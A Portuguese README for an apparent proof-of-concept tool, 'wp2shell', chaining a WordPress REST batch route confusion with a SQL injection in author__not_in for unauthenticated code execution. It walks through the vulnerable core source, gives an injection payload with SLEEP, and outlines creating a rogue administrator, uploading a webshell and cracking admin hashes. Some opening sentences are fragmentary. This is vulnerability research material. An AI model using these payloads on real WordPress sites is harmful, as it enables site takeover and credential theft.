
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE não autenticado no núcleo do WordPress
Confusão de rotas da API REST (CVE-2026-63030) encadeada com uma injeção SQL no
WP_Queryauthor__not_in(CVE-2026-60137) → execução remota de código pré-autenticação contra uma instalação padrão do WordPress.Descoberto por Adam Kues (Assetnote / Searchlight Cyber), divulgado em 2026-07-17. Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Encadeamento (RCE não autenticado) | WordPress 6.9.0 - 6.9.4 e 7.0.0 - 7.0.1 |
| Apenas SQLi (necessita de um plugin/tema facilitador) | 6.8.0 - 6.8.5 |
| Não afetados | ≤ 6.8 para a confusão de lotes; 6.9.5 / 7.0.2 / 7.1-beta2 (corrigido) |
| Pré-condições | API REST acessível; sem cache de objeto persistente (Redis/Memcached); ≥1 post publicado |
| Autenticação necessária | nenhuma |
| Impacto | não autenticado → criar um novo administrador → execução de código (a SQLi também extrai o hash do admin) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests e sem funcionalidades quebradas.shell sem credenciais forja um WP_Post falso através da confusão UNION de um único post, contorna o personalizador para criar um administrador novo (POST /wp/v2/users), faz login e envia um webshell com token. A extração do hash do admin via SQLi (read --preset users) é mantida como um segundo caminho verificado.block_cannot_read) usado como verificação primária e não destrutiva.sqli) que os outros PoCs não têm.$wp$2y$ (-m 35500).wp2shell/
├── README.md ← você está aqui
├── wp2shell.py ← o PoC unificado (ficheiro único, apenas stdlib, por 0xsha)
└── lab/ ← laboratórios Docker reproduzíveis + matriz de confiabilidade
├── docker-compose.yml (laboratório padrão 6.9.4)
├── docker-compose.matrix.yml (parametrizado: qualquer versão × MySQL/MariaDB)
├── docker-compose.sqli.yml (laboratório "Apenas SQLi" 6.8.3)
├── matrix.sh (executa toda a matriz de confiabilidade)
└── sqli-only/facilitator.php (mu-plugin: o sumidouro facilitador 6.8.x)
Os seis PoCs públicos dos quais esta ferramenta se baseia não estão aqui vendidos; eles estão vinculados em Créditos.
Tudo abaixo foi verificado no laboratório Docker local (ver §4; alegações que não foram executadas em laboratório estão assim rotuladas.
O encadeamento solda dois bugs independentes. Os números de linha são do código fonte real do WordPress 6.9.4 (extraído de wordpress:6.9.4-apache).
author__not_in (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guarda só dispara para ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passa direto
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← interpolação bruta
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint DENTRO do implode
Uma string author__not_in ignora a guarda is_array() (2404); implode(',', (array)"…") retorna-a inalterada (2408) e é concatenada diretamente no SQL
(2409). O irmão author__in (2415) reaplica array_map('absint', …)
dentro do implode e está seguro - aquele array_map faltante é o bug. O
valor chega como ... post_author NOT IN (<valor>) ..., portanto 0) <sql>-- -
fecha a lista e anexa SQL.
Colocar uma string lá é a parte difícil: o endpoint REST de posts mapeia
author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) mas
declara-o como 'type' => 'array' de inteiros, então o núcleo coage/rejeita uma string:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verificado em 6.8.3)
É por isso que o Bug A sozinho é apenas "facilitado". O Bug B introduz a string passando pela validação em 6.9+.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // um caminho inválido torna-se um WP_Error em $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← adicionado a $validation …
1753 continue; // ← … mas $matches é PULADO
1754 }
1757 $matches[] = $match; // ← $matches só cresce para requisições VÁLIDAS
1825 foreach ( $requests as $i => $single_request ) { // indexado por posição em $requests
1841 $match = $matches[ $i ]; // ← $matches é MAIS CURTO → +1 deslocamento
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
Uma sub-requisição WP_Error é adicionada a $validation[] (1752) mas não a
$matches[] (o continue em 1753 pula 1757), então $matches fica mais curto e
$matches[$i] (1841) contém o manipulador da próxima requisição. A requisição
i é despachada com o manipulador da requisição i+1, carregando seus próprios
parâmetros e seu próprio veredito de validação (que passou).
Origem da regressão (verificado no diff 6.8.3 → 6.9.4): em 6.8.3 o loop adiciona
$matches[] = $match para todas as requisições e caminhos inválidos são descartados
no primeiro loop - os arrays permanecem alinhados, sem dessincronização. A
refatoração em 6.9.0 introduziu o deslocamento. É exatamente por isso que 6.8.x é
"apenas SQLi" e a cadeia RCE começa em 6.9.0.
O patch adiciona $matches[] também para entradas de erro, endurece a
reentrância e analisa author__not_in com um auxiliar de lista de IDs. (6.9.5
não estava no Docker Hub na hora do teste, então isso vem dos avisos, não de um
diff em laboratório.)
O esquema de lote só permite sub-requisições POST/PUT/PATCH/DELETE, mas
get_items de posts (o sumidouro author_exclude) é apenas GET, então a
confusão é aninhada duas vezes: